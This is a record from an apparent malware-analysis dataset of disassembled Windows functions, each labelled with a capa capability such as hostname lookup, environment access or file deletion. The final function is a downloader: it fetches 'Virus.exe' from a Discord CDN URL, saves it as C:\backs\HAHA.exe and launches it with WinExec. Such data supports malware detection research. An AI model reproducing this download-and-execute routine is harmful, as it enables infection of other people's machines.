joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140012ae7
Capabilities:
Reference wmi statements

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x40
and qword [rsp + 0x38], 0
mov rsi, rdx
mov rdi, rcx
cmp qword [rdx + 0x10], 0
je 0x140012bab
lea rcx, [0x140025102]
call sub.OLEAUT32.dll_SysReAllocString
mov rbx, rax
lea rcx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call sub.OLEAUT32.dll_SysReAllocString
mov r14, rax
mov rcx, qword [rsi + 0x18]
mov rax, qword [rcx]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x28], rdx
and qword [rsp + 0x20], 0
mov rdx, rbx
mov r8, r14
mov r9d, 0x30
call qword [rax + 0xa0]
mov ebp, eax
mov rcx, rbx
call sub.OLEAUT32.dll_SysStringLen
mov rcx, r14
call sub.OLEAUT32.dll_SysStringLen
test ebp, ebp
js 0x140012bab
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
call fcn.140011653
mov qword [rsi + 0x20], 1
mov qword [rsi + 0x28], rbx
mov rax, qword [rsi + 0x30]
mov qword [rdi + 0x30], rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
mov rax, qword [rsi + 0x28]
mov qword [rdi + 0x28], rax
jmp 0x140012bba
mov qword [rdi], 2
mov rcx, rsi
call fcn.1400115d7
nop
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x140013a3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140013a86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140013a86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140013a86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140013a86
cmp dword [rcx + 0x84], 0xe
jbe 0x140013a86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140013a88
xor al, al
add rsp, 0x28
ret

Function at 0x140017e4c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140017c48
Function at 0x14001af5c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001af8c
xor eax, eax
jmp 0x14001b04f
mov rbp, rbx
cmp word [rax], si
je 0x14001afb1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001af98
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001af94
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001ae7c
movsxd r14, eax
test eax, eax
jne 0x14001afef
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001af85
mov rcx, r14
call fcn.14001884c
mov rdi, rax
test rax, rax
jne 0x14001b008
xor ecx, ecx
call fcn.1400188ac
jmp 0x14001afe4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001ae7c
test eax, eax
jne 0x14001b039
mov rcx, rdi
call fcn.1400188ac
jmp 0x14001b043
xor ecx, ecx
call fcn.1400188ac
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001e4e0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140019f4c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001e56a
cmp byte [rbp - 0x21], r15b
je 0x14001e565
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001e5a0
call fcn.14001c5e8
test eax, eax
jne 0x14001e58c
cmp byte [rbp - 0x21], r15b
je 0x14001e584
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001e5a0
cmp byte [rbp - 0x21], r15b
je 0x14001e59d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001952c
test eax, eax
jne 0x14001e640
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140019f4c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001e5df
cmp byte [rbp - 0x21], r15b
je 0x14001e614
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001e614
call fcn.14001c5e8
test eax, eax
jne 0x14001e600
cmp byte [rbp - 0x21], r15b
je 0x14001e5f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001e614
cmp byte [rbp - 0x21], r15b
je 0x14001e611
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001952c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001e640
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001e643
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001e651
mov rcx, rdi
call fcn.1400188ac
cmp byte [rbp + 0x3f], r15b
je 0x14001e660
mov rcx, qword [rbp + 0x27]
call fcn.1400188ac
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1401410af
Capabilities:
Get hostname

Disassembly:
jmp 0x140237b00
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov byte [rcx + rax], 0
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostname]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x48]
dec eax
cdqe
mov rcx, qword [rsp + 0x40]
mov byte [rcx + rax], 0
cmp dword [rsp + 0x20], 0
je 0x140237b51
mov eax, dword [rsp + 0x20]
jmp 0x140237b77
mov edx, reloc.WLDAP32.dll_Ordinal_46
mov rcx, qword [rsp + 0x40]
call fcn.14014154b
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140237b75
mov rax, qword [rsp + 0x28]
mov byte [rax], 0
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x140142239
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140270620
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x140270648
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x140270692
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x14027063d
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x140142450
Capabilities:
Set socket configuration

Disassembly:
jmp 0x14022ded0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
lea rdi, [rsp + 0x20]
mov ecx, 8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x50]
cmp dword [rsp + 0x58], 0
je 0x14022df05
mov dword [rsp + 0x34], 1
jmp 0x14022df0d
mov dword [rsp + 0x34], 0
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x24], eax
lea r8, [rsp + 0x24]
mov edx, 0x8004667e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_accept
call fcn.140146785
mov rax, rdi
add rsp, 0x40
pop rdi
ret

Function at 0x140142a36
Capabilities:
Delete file

Disassembly:
jmp 0x1403bb7e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1403bb80c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140142f09
mov eax, 0xffffffff
jmp 0x1403bb80e
xor eax, eax
add rsp, 0x28
ret
Function at 0x1401430e4
Capabilities:
Move file

Disassembly:
jmp 0x1401cb9d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xd8
lea rdi, [rsp + 0x20]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf0]
mov rax, qword [0x1404655c8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x20], 0x3e8
lea rcx, [rsp + 0x78]
call fcn.140146fb9
lea rcx, [rsp + 0x38]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0xf0]
call fcn.1401477a7
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0xf8]
call fcn.1401477a7
mov qword [rsp + 0x60], rax
mov r8d, 1
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x1401cbab7
cmp qword [rsp + 0x58], 0
je 0x1401cba8b
mov rcx, qword [rsp + 0x58]
call fcn.1401435bc
mov qword [rsp + 0x58], 0
xor eax, eax
test eax, eax
jne 0x1401cba70
cmp qword [rsp + 0x60], 0
je 0x1401cbaac
mov rcx, qword [rsp + 0x60]
call fcn.1401435bc
mov qword [rsp + 0x60], 0
xor eax, eax
test eax, eax
jne 0x1401cba91
jmp 0x1401cbb7a
lea rax, [rsp + 0xb0]
lea rcx, [rsp + 0x38]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x88]
call fcn.140146fb9
lea rcx, [rsp + 0xa0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xa0]
call fcn.14014817a
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jl 0x1401cbb21
movsxd rax, dword [rsp + 0x20]
cmp qword [rsp + 0x68], rax
jle 0x1401cbb6a
cmp qword [rsp + 0x58], 0
je 0x1401cbb3c
mov rcx, qword [rsp + 0x58]
call fcn.1401435bc
mov qword [rsp + 0x58], 0
xor eax, eax
test eax, eax
jne 0x1401cbb21
cmp qword [rsp + 0x60], 0
je 0x1401cbb5d
mov rcx, qword [rsp + 0x60]
call fcn.1401435bc
mov qword [rsp + 0x60], 0
xor eax, eax
test eax, eax
jne 0x1401cbb42
mov eax, 1
jmp 0x1401cbb7c
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1401cba56
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_accept
call fcn.140146785
mov rax, rdi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14014432c
add rsp, 0xd8
pop rdi
pop rsi
ret

Function at 0x140143f99
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1402dcf40
mov rax, rcx
neg rcx
test rax, 7
je 0x1402dcf5d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1402dcfb8
test al, 7
jne 0x1402dcf50
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1402dcf71
mov rdx, qword [rax - 8]
test dl, dl
je 0x1402dcfe2
test dh, dh
je 0x1402dcfdc
shr rdx, 0x10
test dl, dl
je 0x1402dcfd6
test dh, dh
je 0x1402dcfd0
shr rdx, 0x10
test dl, dl
je 0x1402dcfca
test dh, dh
je 0x1402dcfc4
shr edx, 0x10
test dl, dl
je 0x1402dcfbe
test dh, dh
jne 0x1402dcf71
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x140143fdf
Capabilities:
Query environment variable

Disassembly:
jmp 0x1403b2000
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1403b1b80
lea rcx, [rsp + 0x20]
call fcn.1403b1bd0
movzx eax, al
test eax, eax
jne 0x1403b2045
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.1403b1bb0
mov rax, qword [rsp + 0x40]
jmp 0x1403b213f
lea rcx, [rsp + 0x20]
call fcn.1403b1cd0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.1403b1c70
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.140144458
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140143797
lea rcx, [rsp + 0x28]
call fcn.140144a2f
movzx eax, al
test eax, eax
jne 0x1403b20df
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.1401464ab
lea rcx, [rsp + 0x20]
call fcn.1403b1bb0
mov rax, qword [rsp + 0x50]
jmp 0x1403b213f
lea rcx, [rsp + 0x20]
call fcn.1403b1cd0
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.140147905
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.140144363
lea rcx, [rsp + 0x28]
call fcn.140148530
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.1401464ab
lea rcx, [rsp + 0x20]
call fcn.1403b1bb0
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x14014464c
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1402cbe90
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1402cb810
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1402cbecf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14048a020]
jmp 0x1402cbed9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x14014493a
Capabilities:
Query environment variable

Disassembly:
jmp 0x1403b1d50
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1403b1b80
lea rcx, [rsp + 0x40]
call fcn.1403b1d00
movzx eax, al
test eax, eax
jne 0x1403b1d98
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1403b1bb0
mov rax, qword [rsp + 0x70]
jmp 0x1403b1f69
lea rcx, [rsp + 0x40]
call fcn.1403b1cd0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1403b1c70
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1403b1cd0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.140145fdd
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1403b1e3e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1403b1bb0
mov rax, qword [rsp + 0x80]
jmp 0x1403b1f69
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.140144458
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1401441a6
lea rcx, [rsp + 0x48]
call fcn.140143a35
movzx eax, al
test eax, eax
jne 0x1403b1ea5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.140142068
lea rcx, [rsp + 0x40]
call fcn.1403b1bb0
mov rax, qword [rsp + 0x88]
jmp 0x1403b1f69
lea rcx, [rsp + 0x48]
call fcn.140144f7a
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1403b1cd0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.140145fdd
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1403b1f3b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.140142068
lea rcx, [rsp + 0x40]
call fcn.1403b1bb0
mov rax, qword [rsp + 0xa0]
jmp 0x1403b1f69
lea rcx, [rsp + 0x48]
call fcn.140144151
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.140142068
lea rcx, [rsp + 0x40]
call fcn.1403b1bb0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140144962
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1402cbdc0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1402cb790
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1402cbe01
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14048a020]
jmp 0x1402cbe07
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140144a39
Capabilities:
Get geographical location

Disassembly:
jmp 0x140393600
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140392570
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140393667
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14048a030]
jmp 0x140393689
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140143995
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140144a52
Capabilities:
Terminate process

Disassembly:
jmp 0x1402a7210
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140144ee4
Capabilities:
Print debug messages

Disassembly:
jmp 0x1403c0eb0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1404655c8]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1403c0ed6
jmp 0x1403c0f53
mov rcx, qword [rbp + 0x30]
call fcn.140143f99
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1403c0eef
jmp 0x1403c0f53
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1403c0f0c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140142301
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140142aef
test eax, eax
jne 0x1403c0f53
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14014432c
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x14014509c
Capabilities:
Initialize winsock library

Disassembly:
jmp 0x1401a0310
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x220
lea rdi, [rsp + 0x30]
mov ecx, 0x7c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x230]
mov rax, qword [0x1404655c8]
xor rax, rsp
mov qword [rsp + 0x210], rax
mov eax, dword [rsp + 0x230]
and eax, 2
test eax, eax
je 0x1401a03e7
mov eax, 0x202
mov word [rsp + 0x30], ax
lea rdx, [rsp + 0x50]
movzx ecx, word [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x1f4], eax
cmp dword [rsp + 0x1f4], 0
je 0x1401a038d
mov eax, 2
jmp 0x1401a049f
movzx eax, word [rsp + 0x50]
and rax, 0xff
movzx eax, al
movzx ecx, word [rsp + 0x30]
and rcx, 0xff
movzx ecx, cl
cmp eax, ecx
jne 0x1401a03d7
movzx eax, word [rsp + 0x50]
shr rax, 8
and rax, 0xff
movzx eax, al
movzx ecx, word [rsp + 0x30]
shr rcx, 8
and rcx, 0xff
movzx ecx, cl
cmp eax, ecx
je 0x1401a03e7
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
jmp 0x1401a049f
call fcn.140147cbb
mov dword [rsp + 0x1f8], eax
cmp dword [rsp + 0x1f8], 0
je 0x1401a0409
mov eax, dword [rsp + 0x1f8]
jmp 0x1401a049f
lea rcx, str.iphlpapi.dll
call fcn.140146ec4
mov qword [0x140468028], rax
cmp qword [0x140468028], 0
je 0x1401a045c
lea rdx, str.if_nametoindex
mov rcx, qword [0x140468028]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x200], rax
cmp qword [rsp + 0x200], 0
je 0x1401a045c
mov rax, qword [rsp + 0x200]
mov qword [0x140468020], rax
mov dword [rsp + 0x20], 3
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov ecx, 6
call fcn.14014686b
movzx eax, al
test eax, eax
je 0x1401a0489
mov byte [0x14046ab19], 1
jmp 0x1401a0490
mov byte [0x14046ab19], 0
lea rcx, [0x14046ab28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_accept
call fcn.140146785
mov rax, rdi
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.14014432c
add rsp, 0x220
pop rdi
ret
Function at 0x140145425
Capabilities:
Set environment variable

Disassembly:
jmp 0x1403b3eb0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret

Function at 0x14014545c
Capabilities:
Create directory

Disassembly:
jmp 0x1403981a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1403981ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140142f09
mov eax, 0xffffffff
jmp 0x1403981d0
xor eax, eax
add rsp, 0x28
ret

Function at 0x14014567d
Capabilities:
Create process on windows

Disassembly:
jmp 0x140162d10
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, WSASetLastError
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1404655c8]
xor rax, rbp
mov qword [rbp + 0x268], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140147a45
lea rcx, str.C:_backs
call fcn.1401469f6
call fcn.140146a19
mov qword [rbp + 8], rax
lea rdx, [0x1403dfe84]
lea rcx, str.C:_backsHAHA.exe
call fcn.140141d11
mov qword [rbp + 0x28], rax
lea r8, str.https:__cdn.discordapp.com_attachments_1119922780507492362_1165274878358855790_Virus.exe_ex654641ccis6533cccchm4857f7e1e6b26733bcdddfcc0105d81a4e4a2a8908884db907aaec758d3331d3
mov edx, 0x2712
mov rcx, qword [rbp + 8]
call fcn.14014789c
lea r8, [0x14014630c]
mov edx, 0x4e2b
mov rcx, qword [rbp + 8]
call fcn.14014789c
mov r8, qword [rbp + 0x28]
mov edx, 0x2711
mov rcx, qword [rbp + 8]
call fcn.14014789c
mov rcx, qword [rbp + 8]
call fcn.140143634
mov dword [rbp + 0x44], eax
mov rcx, qword [rbp + 0x28]
call fcn.1401439b3
mov rcx, qword [rbp + 8]
call fcn.140141d0c
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x70]
call fcn.1401456dc
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.C:_backsHAHA.exe
lea rcx, [rbp + 0x70]
call fcn.1401471d5
lea rcx, [rbp + 0x70]
call fcn.1401412e4
movzx eax, al
test eax, eax
je 0x140162e27
mov edx, 1
lea rcx, str.C:_backsHAHA.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rbp + 0x254], 0
lea rcx, [rbp + 0x70]
call fcn.140142054
mov eax, dword [rbp + 0x254]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140146785
mov eax, edi
mov rcx, qword [rbp + 0x268]
xor rcx, rbp
call fcn.14014432c
